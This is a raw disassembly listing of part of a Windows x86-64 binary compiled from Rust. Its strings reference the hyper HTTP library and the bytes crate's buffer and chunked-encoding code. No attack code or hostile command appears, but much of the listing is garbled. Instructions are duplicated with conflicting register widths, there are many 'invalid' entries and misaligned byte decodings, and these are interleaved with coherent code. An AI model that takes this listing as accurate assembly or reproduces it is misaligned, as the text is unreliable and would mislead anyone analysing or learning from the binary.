test ebx, esp
and byte [rdi], cl
test ebx, esp
invalid
loopne 0x140092228
add byte [rax], al
add rax, rcx
enter 0x5489, 0x24
invalid
mov qword [rsp + 0x68], rax
and al, 0x68
enter 0x5489, 0x24
invalid
and al, 0x68
mov r9d, 1
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x50], edx
mov dword [rsp + 0x50], edx
test rbp, rbp
mov qword [rsp + 0x48], rcx
jne 0x1400921da
xor eax, eax
xor r8d, r8d
rol byte [rbp + 0x31], 0xc0
jmp 0x140092264
nop dword cs:[rax + rax]
invalid
lea r8, [rax + rbp]
add al, 0x28
xor r14d, r14d
mov edx, 0x40
add byte [rcx + rbp - 0x36], cl
sub rdx, r9
mov qword [rsp + 0x58], r9
shl r9d, 4
add al, 0x4e
lea ebx, [rsp + rcx]
add al, 0x4e
lea ebx, [rsp + rcx]
add r11, 0x60
invalid
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea r13, [r8 + r8*4]
lea ebp, [rax + rax*4]
lea ebp, [rax + rax*4]
shl r13, 4
add r13, rdi
add ebp, edi
add ebp, edi
lea r12, [r14 + r14*4]
shl r12, 4
in al, 4
in al, 4
add r12, rdi
mov r15, rdi
xor r9d, r9d
mov qword [rsp + 0x38], rbx
jmp 0x1400922c5
xor eax, eax
add r14, 0x50
add r9, rax
mov rax, r14
cmp r9, rdx
je 0x1400924d0
invalid
add byte [rcx + rdi - 0x18], cl
cmp rax, r13
je case.0x1400d8602.213
mov r14, rax
jmp 0x1400922ee
test r15, r15
je 0x1400924d3
mov r14, r15
mov r13, r12
cmp r15, r12
mov r12, rax
invalid
mov r15, rax
je 0x1400924d3
invalid
mov rax, rdx
sub rax, r9
ror byte [rcx + rbp - 0x38], 1
jb 0x1400928f7
add eax, 0x894d0000
enter 0xffffffffffffc149, 0xffffffffffffffe0
mov r8, r9
shl r8, 4
add al, 0x4d
add eax, ebx
add al, 0x4d
add eax, ebx
mov rcx, qword [r14]
movsxd rcx, dword [r10 + rcx*4]
add rcx, r10
add ecx, edx
add ecx, edx
jmp rcx
cmp rdx, r9
je case.0x1400d8602.215
mov rax, qword [r14 + 0x18]
test rax, rax
jne 0x1400923b1
add byte [rax], al
add byte [rax], al
jmp case.0x1400d8602.215
nop word cs:[rax + rax]
cmp rdx, r9
jne 0x1400923d3
xor r10d, r10d
cmp r10, rax
jne 0x140092427
test edx, esp
add byte [rax], al
add cl, ch
and al, byte [rcx]
add byte [rax], al
nop word [rax + rax]
cmp rdx, r9
je case.0x1400d8602.215
test byte [rdi - 1], dl
invalid
invalid
jmp 0x14009246c
test byte [rdi - 1], dl
invalid
mov rcx, qword [r14 + 0x10]
mov eax, 0
adc byte [rax], bh
test rcx, rcx
je 0x1400922b2
mov rax, rcx
shr rax, 0x20
call 0xce8e3295
invalid
add byte [rax], al
call 0xce8e3295
add eax, 0x8b490000
or byte [rcx - 0x77], r8b
or byte [rcx - 0x77], cl
mov dword [rax + 8], eax
invalid
mov rax, qword [r14 + 8]
mov dword [r8], ecx
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
mov dword [rax + 8], eax
jmp 0x1400923c9
nop word cs:[rax + rax]
cmp rdx, r9
add byte [rcx + rdi - 0x36], cl
je case.0x1400d8602.215
mov rcx, qword [r14 + 0x18]
mov rax, qword [r14 + 0x28]
sub byte [rax + 0x39], r9b
invalid
sub byte [rax + 0x39], r9b
ror dword [rax + 0xf], 0x42
cmovb rax, rcx
test rax, rax
cmovb rax, rcx
test rax, rax
je case.0x1400d8602.215
mov rcx, rax
shr rcx, 0x20
jne case.0x1400d8602.218
mov eax, 1
jmp 0x1400922b2
invalid
invalid
invalid
invalid
invalid
movzx ecx, byte [r14 + 0x3a]
movzx ecx, byte [rsi + 0x3a]
movzx ebx, byte [r14 + 0x3b]
cmp bl, cl
jne 0x1400923f0
xor r10d, r10d
mov rbx, qword [rsp + 0x38]
cmp r10, rax
je 0x14009246c
jmp 0x140092427
movzx ecx, cl
movzx r10d, bl
movzx edx, bl
movzx edx, bl
jb 0x140092965
cmp bl, 0x12
ja 0x140092951
add byte [rax], al
add byte [rax], al
lea rbx, [r14 + 0x28]
sub r10d, ecx
add rbx, rcx
mov dword [r8], r10d
mov qword [r8 + 8], rbx
mov dword [rax + 8], ebx
mov dword [rax + 8], ebx
mov r10d, 1
mov rbx, qword [rsp + 0x38]
cmp r10, rax
cmp edx, eax
cmp edx, eax
ret 0x4574
je 0x14009246c
mov rcx, qword [r14 + 0x18]
test rcx, rcx
je 0x14009246c
shr ebx, 0x20
jne case.0x1400d8602.218
test ecx, ecx
add al, 0
add byte [rcx + rcx*4 - 0x2d], al
mov ebx, r10d
shl ebx, 4
add rbx, r8
add ebx, eax
add ebx, eax
mov rsi, qword [r14 + 0x10]
mov dword [rbx], ecx
mov qword [rbx + 8], rsi
mov ecx, 1
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
add rcx, r10
cmp rcx, rax
invalid
jbe 0x14009247a
jmp 0x14009291e
mov dl, 4
add byte [rax], al
xor ecx, ecx
add rcx, r10
cmp rcx, rax
ja 0x14009291e
je 0x1400924b1
mov r10, qword [r14 + 0x48]
mov eax, 0
test r10, r10
je 0x1400924b3
add r8, rax
mov rax, qword [r14 + 0x40]
mov dword [r8], r10d
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
mov dword [rax + 8], eax
mov eax, 1
jmp 0x1400924b3
xor eax, eax
add rax, rcx
lea r10, [0x1401787a0]
add cl, ch
invalid
std
invalid
invalid
add cl, ch
invalid
mov r9, rdx
add r9, qword [rsp + 0x58]
cmp r9, 0x41
jae 0x140092974
add qword [rax], rax
add byte [rax - 0x75], cl
push rsp
and al, 0x30
lea r8, [rsp + 0x60]
call qword [rax + 0x38]
mov r12, rdx
test rax, rax
jne 0x140092872
xor eax, eax
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
cmp rdx, r12
setne al
mov ecx, 0xff
cmovb eax, ecx
test al, al
je case.0x14002a2ab.1660
movzx eax, al
cmp eax, 1
jne 0x140092550
mov rax, qword [rsp + 0x48]
add rax, r12
mov qword [rsi + 0xf0], rax
xchg al, dh
add byte [rax], al
add cl, ch
mov dl, 1
add byte [rax], al
xchg al, dh
add byte [rax], al
add cl, ch
mov dl, 1
add byte [rax], al
nop
mov rax, qword [rsp + 0x40]
movups xmmword [rax], xmm6
jmp 0x1400926f0
mov r15, r12
mov edi, esp
mov rax, qword [rsp + 0x40]
movups xmmword [rax], xmm6
sub r15, rdx
je 0x1400926f0
mov r13, qword [rsi + 0x108]
jmp 0x140092579
test r15, r15
je 0x1400926f0
sub rbp, 1
jb 0x14009292d
invalid
stosb byte [rdi], al
add eax, dword [rax]
invalid
invalid
mov rdx, r15
mov r14, r13
cmp r13, rbx
invalid
fnstsw word [rax]
mov eax, 0
cmovae rax, rbx
mov rcx, r13
sub rcx, rax
lea rax, [rcx + rcx*4]
shl rax, 4
shl eax, 4
shl eax, 4
lea rcx, [rdi + rax]
mov rax, qword [rdi + rax]
lea r8, [0x1401787b0]
invalid
add byte [rcx + 0x63], cl
add al, 0x80
invalid
add byte [rcx + 0x63], cl
add al, 0x80
add rax, r8
jmp rax
invalid
loopne 0x140092604
mov rax, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov r15, rdx
sub r15, rax
jae 0x14009263b
jmp 0x1400926e4
add byte [rdi], cl
mov dh, 0x41
cmp ebp, dword [rdx]
cmp cl, byte [r15]
mov dh, 0xc0
movzx eax, byte [rcx + 0x3b]
sub al, byte [rcx + 0x3a]
movzx eax, al
add rax, qword [rcx + 0x18]
jb 0x140092945
invalid
add eax, dword [rax]
invalid
sbb byte [r15], cl
invalid
invalid
add rax, qword [rcx + 0x48]
jb 0x140092945
mov r15, rdx
xlatb
sub r15, rax
jae 0x14009263b
jmp 0x1400926e4
add byte [rax], al
nop dword [rax + rax]
mov rax, qword [rcx + 0x10]
mov r15, rdx
sub r15, rax
jae 0x14009263b
jmp 0x1400926e4
nop dword [rax + rax]
mov r8, qword [rcx + 0x18]
mov rax, qword [rcx + 0x28]
sub byte [r9 + 0x39], cl
ror byte [rcx + 0xf], 0x42
ror byte [rcx - 0x77], 0xd7
sub byte [r9 + 0x39], cl
ror byte [rcx + 0xf], 0x42
ror byte [rcx - 0x77], 0xd7
sub r15, rax
jb 0x1400926e4
invalid
mov rdx, rax
call fcn.1400950d0
lea rax, [r14 + 1]
cmp rax, rbx
mov eax, 0
add byte [rax], al
add byte [rax], al
ret 0x8de8
add byte [rax], al
add byte [rax], al
cmovae rax, rbx
neg rax
lea r13, [r14 + rax]
invalid
inc r13
mov qword [rsi + 0x108], r13
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsi + 0x110], rbp
lea rax, [r14 + r14*4]
shl rax, 4
movups xmm0, xmmword [rdi + rax]
movups xmm1, xmmword [rdi + rax + 0x10]
movups xmm2, xmmword [rdi + rax + 0x20]
movups xmm3, xmmword [rdi + rax + 0x30]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi + rax + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
mov rax, qword [rsp + 0x60]
cmp rax, 4
je case.0x14002a2ab.1658
cmp eax, 3
je case.0x14002a2ab.1658
mov rax, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rcx, [rsp + 0x80]
call qword [rax + 0x10]
jmp case.0x14002a2ab.1658
call fcn.1400950d0
mov rbp, qword [rsi + 0x110]
mov r13, qword [rsi + 0xe8]
mov r8, qword [rsi + 0xf0]
mov rbx, qword [rsi + 0xf8]
test rbp, rbp
je 0x140092740
mov rax, qword [rsi + 0x108]
cmp rax, rbx
mov ecx, 0
cmovae rcx, rbx
sub rax, rcx
mov rdx, rbx
sub rdx, rax
mov rcx, rbp
sub rcx, rdx
jbe 0x140092750
mov rdx, rbx
jmp 0x140092756
xor eax, eax
xor edx, edx
jmp 0x140092754
lea rdx, [rax + rbp]
xor ecx, ecx
mov rsi, r13
mov r14, r8
sub rsi, r8
mov r8, qword [rsp + 0x28]
mov rdi, qword [r8 + 0x100]
lea rax, [rax + rax*4]
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
call fcn.140091e70
add rax, rsi
je 0x14009289d
test r12, r12
mov rsi, qword [rsp + 0x28]
lea r10, [0x1401787a0]
mov rcx, r14
jne 0x140092160
movabs r12, 0x1700000003
xor ebx, ebx
jmp 0x140092108
mov rax, r15
cmp r13, r15
jb 0x140092860
cmp rax, 1
jne 0x140092893
xor ebx, ebx
mov rbp, qword [rsp + 0x30]
jmp 0x1400920e8
mov ebx, 1
jmp 0x140092108
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x140]
mov rax, qword [rsi + 0x148]
mov rbp, qword [rsp + 0x30]
mov rdx, rbp
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
jmp 0x1400920e8
invalid
and al, 0x40
movups xmmword [rax], xmm0
mov rcx, r14
mov rdx, rbp
mov rax, qword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
mov eax, dword [rsp + 0x38]
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
mov rsi, qword [rsp + 0x28]
push rax
sub byte [rax - 0x77], cl
ret
jmp 0x1400920e8
idiv edi
dec dword [rbp + rcx*4 + 5]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
jp 0x1400928fa
or al, byte [rax]
mov rcx, r9
call fcn.1401085a0
invalid
lea rcx, str.assertion_failed:_buf.len_____c::ULONG::MAX_as_usize_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_syspalwindowsio.rs
or eax, 0xadbcb
lea r8, [0x140140568]
fmul qword [rdx]
add byte [rdx + 0x35], bh
or al, byte [rax]
mov edx, 0x35
call fcn.140108630
adc bl, byte [rbp + 7]
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
add eax, 0xafee3
jrcxz 0x140092921
or al, byte [rax]
mov rdx, rax
call fcn.1401085a0
jae 0x140092987
invalid
lea rcx, str.Out_of_bounds_access_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommon_buf.rs
push rbp
dec byte [rdx]
or al, byte [rax]
mov edx, 0x14
or al, byte [rax]
mov edx, 0x14
call fcn.140108990
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108970
lea r8, [0x1401426d0]
mov edx, 0x12
mov rcx, r10
call fcn.140108620
invalid
invalid
invalid
lea r8, [0x1401426d0]
std
or al, byte [rax]
mov rdx, r10
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
add byte [rdx + 0x40], bh
add byte [rdx + 0x40], bh
mov rcx, r9
call fcn.140108620
add byte [rbp + rcx*4 + 5], cl
leave
fisttp qword [rdx]
add byte [rcx + rcx*4 - 0x16], cl
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
mov rdx, r13
call fcn.1401085a0
int3
add ah, cl
int3
int3
test ecx, ecx
jne 0x140092a11
test rdx, rdx
je 0x140092a0f
mov rbx, rdx
mov rdi, rcx
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400df910
add al, 0
test rax, rax
je 0x140092a1f
mov rsi, rax
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov byte [rax + 0x30], 9
xor byte [rcx], cl
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
add al, 0
add al, 0
test rax, rax
je 0x140092a2e
mov qword [rax], rbx
mov qword [rsi], rax
lea rax, [0x14013dd20]
mov qword [rsi + 8], rax
or byte [rax - 0x77], r9b
stc
or byte [rax - 0x77], r9b
stc
jmp 0x140092a11
xor esi, esi
mov rax, rcx
mov rdx, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
add al, ch
xchg edx, eax
pop rax
invalid
invalid
add al, ch
xchg edx, eax
pop rax
invalid
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
call fcn.1401082c0
int3
pop rax
invalid
nop
add byte [rax], al
add byte [rax - 0x73], cl
push rax
dec byte [rax - 0x7d]
cmp edx, 3
ja 0x140092a61
cmp edx, 3
ja 0x140092a61
cmp rdx, 1
cmp edx, 1
cli
add dword [rdi], ecx
test eax, ebx
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add byte [rax], 0
add byte [rax], al
mov rsi, qword [rcx + 0x98]
test rsi, rsi
je 0x140092b22
jne 0x140092b39
test rax, rax
je 0x140092aea
add byte [rax], al
mov rsi, qword [rcx + 0x98]
mov esi, dword [rcx + 0x98]
test rsi, rsi
je 0x140092b22
mov qword [rcx + 0x90], 5
movzx eax, byte [0x140182310]
test al, bh
clc
invalid
add byte [rdx + 0x38], bh
xor ecx, ecx
add byte [rax], al
add byte [0x14f092a86], al
add byte [rax], al
add eax, 0xf000000
mov dh, 5
test al, bh
clc
clc
invalid
call fcn.1400df910
js 0x140092a64
add al, 0
test rax, rax
test eax, eax
je case.0x140070a56.133
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rdi, rax
mov word [rax + 0x30], 0x101
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
push rsp
clc
invalid
add byte [rdx + 8], bh
add byte [rax], al
add byte [rcx], dh
leave
xor byte [rcx], al
add dword [rdi], ecx
mov dh, 5
push rsp
clc
invalid
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x140092b51
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, eax
mov qword [rax], rsi
mov ecx, eax
mov qword [rax], rsi
mov rax, rdi
mov qword [rdi], rcx
lea rcx, [0x14013da50]
lea ecx, [0x14013da50]
or al, byte [rax]
mov qword [rdi + 8], rcx
jmp 0x140092b3b
and al, 0x28
add eax, dword [rax]
add byte [rax], al
lea rax, str.0_r_n_r_nunexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_SizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_n_r_nconnection_errorC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
lea eax, str.0_r_n_r_nunexpected_EOF_during_chunk_size_lineInvalid_chunk_size_line:_missing_size_digitinvalid_chunk_size:_overflowInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlinechunk_extensions_over_limitInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_SizeC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_n_r_nconnection_errorC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2client.rs
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 5
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x38], 5
and al, 0x38
add eax, 0x48000000
cmp byte [0x188092b09], al
lea rax, [rcx + 0xd8]
lea eax, [rcx + 0xd8]
fadd dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rcx, rax
call case.0x140088ba6.74
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
cmp byte [rcx + 0xa0], 1
mov eax, 5
sbb rax, 0
sbb eax, 0
movabs al, byte [0x5b801000000]
add byte [rax - 0x7d], cl
invalid
sbb eax, 0
fadd dword [rax]
mov qword [rcx + 0x90], rax
adc dword [rax + 0x31000000], 0xc48348c0
js 0x140092b9f
xor eax, eax
add rsp, 0x78
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
mov ecx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 8], bh
mov edx, 8
call fcn.1401082c0
int3
int3
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
cmp byte [rcx + 0x48], 0
je 0x140092c41
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rdi + 0x40]
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x60], xmm0
and al, 0x60
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x50], xmm3
and al, 0x50
and al, 0x50
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x140092bd9
lea rcx, [rsi + 0x20]
call fcn.140093000
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x30]
add rdx, rax
xor r8d, r8d
cmp rdx, rcx
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x28]
lea rdx, [rdx + rdx*4]
adc al, 0x92
adc al, 0x92
shl rdx, 4
movaps xmm0, xmmword [rsp + 0x60]
and al, 0x60
and al, 0x60
movups xmmword [rcx + rdx + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
movaps xmm3, xmmword [rsp + 0x50]
sub byte [rsp + 0x50], bl
pop rsp
and al, 0x50
pop rsp
and al, 0x50
movups xmmword [rcx + rdx + 0x30], xmm3
adc dword [rax], esi
movups xmmword [rcx + rdx + 0x20], xmm2
movups xmmword [rcx + rdx + 0x10], xmm1
adc dword [rax], edx
adc dword [rax], edx
movups xmmword [rcx + rdx], xmm0
inc rax
mov qword [rsi + 0x38], rax
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rdi]
lea rax, [0x1401787c0]
lea eax, [0x1401787c0]
movsxd rcx, dword [rax + r14*4]
add rcx, rax
mov al, 0x48
add ecx, eax
jmp rcx
mov rcx, qword [rdi + 0x18]
mov ecx, dword [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x4b], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x140092cac
jmp 0x140092ce8
add byte [rax], al
movzx eax, byte [rdi + 0x3b]
sub al, byte [rdi + 0x3a]
movzx ecx, al
enter 0x348, 0x4f
sbb byte [rdi], cl
invalid
xchg esp, eax
add byte [rax], al
invalid
enter 0x348, 0x4f
sbb byte [rdi], cl
invalid
add rcx, qword [rdi + 0x48]
jae 0x140092c89
invalid
or ecx, ebp
mov dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
jmp case.0x140091f6b.18
add byte [rax - 0x75], cl
adc byte [r8 - 0x75], r9b
push rsi
sbb byte [rax - 0x7b], cl
sal byte [rbp + 0x1a], cl
mov rdx, qword [rsi + 0x18]
test rdx, rdx
jne 0x140092cac
jmp 0x140092ce8
sub byte [rax + 0x39], cl
enter 0xf48, 0x42
enter 0xffffffffffff8b48, 0x56
sbb byte [rax - 0x7b], cl
sal byte [rsp + rdi + 0x4c], cl
mov eax, dword [rsi]
mov r8, qword [rsi]
mov rax, qword [rsi + 0x10]
sub r8, rax
cmp r8, rcx
jae 0x140092ce8
mov rbx, rax
sub rbx, rdx
jb 0x140092cfc
mov qword [rsi + 0x10], 0
je case.0x140092c52.21
add byte [rbx + rdx + 0x48], dh
mov ecx, dword [rsi + 8]
mov rcx, qword [rsi + 8]
add rdx, rcx
mov r8, rbx
call fcn.140106530
invalid
add byte [rax - 0x77], cl
pop rsi
invalid
invalid
mov qword [rsi + 0x18], 0
lea r15, [rdi + 0x28]
lea r12, [0x1401787d0]
pop rdx
invalid
add byte [rbx + 0x63], cl
add al, 0xb4
add rax, r12
pop rdx
invalid
jmp rax
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
add eax, 0xb69e5
mov rcx, rdx
mov rdx, rax
call fcn.140108620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
or eax, 0xafb0b
call fcn.140108970
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov rbx, r8
test rbx, rbx
jne 0x140092e00
jmp 0x140092da4
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
mov rbx, qword [rdi + 0x28]
cmp r8, rbx
cmovb rbx, r8
test rbx, rbx
jne 0x140092e00
jmp 0x140092da4
movzx ecx, byte [rdi + 0x3a]
movzx eax, byte [rdi + 0x3b]
mov edx, eax
sub dl, cl
movzx edx, dl
mov r8, qword [rdi + 0x18]
add rdx, r8
jb case.0x140091f6b.18
je 0x140092d7e
cmp al, cl
jne 0x140092d8d
mov rdx, qword [rdi + 0x10]
mov rbx, r8
test rbx, rbx
jne 0x140092e00
mov rdx, qword [rdi + 0x40]
mov rbx, qword [rdi + 0x48]
test rbx, rbx
jne 0x140092e00
jmp 0x140092da4
movzx edx, cl
movzx ebx, al
jb 0x140092ddd
test rbx, rbx
jne 0x140092e00
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rax, qword [rax + 0x10]
adc byte [rax - 0x7d], cl
invalid
and byte [rax - 0x77], cl
stc
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
adc byte [rax - 0x7d], cl
invalid
add byte [rdx + 0x12], bh
mov rcx, rbx
call fcn.140108620
lea r8, [0x1401426d0]
mov rcx, rdx
mov rdx, rbx
call fcn.140108810
mov rbx, qword [rdi + 0x10]
test rbx, rbx
je 0x140092c31
mov rdx, qword [rdi + 8]
mov rax, qword [rsi]
mov r14, qword [rsi + 0x10]
sub rax, r14
cmp rax, rbx
jb 0x140092e3c
mov rcx, qword [rsi + 8]
add rcx, r14
mov r8, rbx
call fcn.140106530
add r14, rbx
mov qword [rsi + 0x10], r14
mov rcx, rdi
mov rdx, rbx
call fcn.1400950d0
mov rax, qword [rdi]
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
mov rcx, rsi
mov r13, rdx
mov rdx, r14
mov r8, rbx
call fcn.140108ba0
mov rdx, r13
mov r14, qword [rsi + 0x10]
jmp 0x140092e0f
push rsi
sub rsp, 0x80
movzx r9d, byte [rcx + 0x32]
movzx r10d, byte [rcx + 0x33]
mov eax, r10d
sub al, r9b
movzx r11d, al
mov r8, qword [rcx + 0x10]
mov rsi, r11
add rsi, r8
jb 0x140092f7c
je 0x140092eb0
mov rax, rdx
sub rax, rsi
jbe 0x140092ec4
cmp r10b, r9b
jne 0x140092ede
mov rdx, rsi
mov qword [rsp + 0x20], rdx
mov r9, r8
sub r9, rdx
jae 0x140092efb
jmp 0x140092f88
mov rax, rdx
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jae 0x140092f0f
jmp 0x140092f5d
cmp r10b, r9b
jne 0x140092f20
mov rax, rdx
mov qword [rsp + 0x20], rax
mov rdx, r8
sub rdx, rax
jae 0x140092f39
jmp 0x140092f88
mov rdx, rsi
sub rdx, r11
jbe 0x140092f4a
mov byte [rcx + 0x32], r10b
mov qword [rsp + 0x20], rdx
mov r9, r8
sub r9, rdx
jb 0x140092f88
mov qword [rcx + 0x10], r9
add qword [rcx + 8], rdx
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jb 0x140092f5d
add qword [rcx + 0x38], rax
mov qword [rcx + 0x40], r8
add rsp, 0x80
pop rsi
ret
mov rax, rdx
sub rax, r11
jbe 0x140092f6c
mov byte [rcx + 0x32], r10b
mov qword [rsp + 0x20], rax
and byte [rcx + rcx*4 - 0x3e], cl
and byte [rcx + rcx*4 - 0x3e], cl
sub rdx, rax
jb 0x140092f88
mov qword [rcx + 0x10], rdx
add qword [rcx + 8], rax
add rsp, 0x80
pop rsi
ret
add r9b, sil
mov byte [rcx + 0x32], r9b
mov rdx, qword [rcx + 0x40]
mov r8, rdx
sub r8, rax
jae 0x140092f0f
lea r8, [0x140141fd0]
mov rcx, rax
call fcn.1401085a0
add r9b, dl
mov byte [rcx + 0x32], r9b
xor cl, byte [rax - 0x7f]
invalid
add byte [rax], 0
add byte [rsi - 0x3d], bl
xor cl, byte [rax - 0x7f]
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
call fcn.140108970
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x20]
mov qword [rsp + 0x30], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.cannot_advance_past__remaining_:___
lea eax, [0x14014fac8]
lea eax, [0x14014fac8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x50]
call fcn.140108560
int3
int3
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x38]
cmp rax, rcx
jne 0x1400930e9
lea rcx, [rsi + 0x20]
call fcn.140093000
invalid
invalid
dec dword [rax - 0x75]
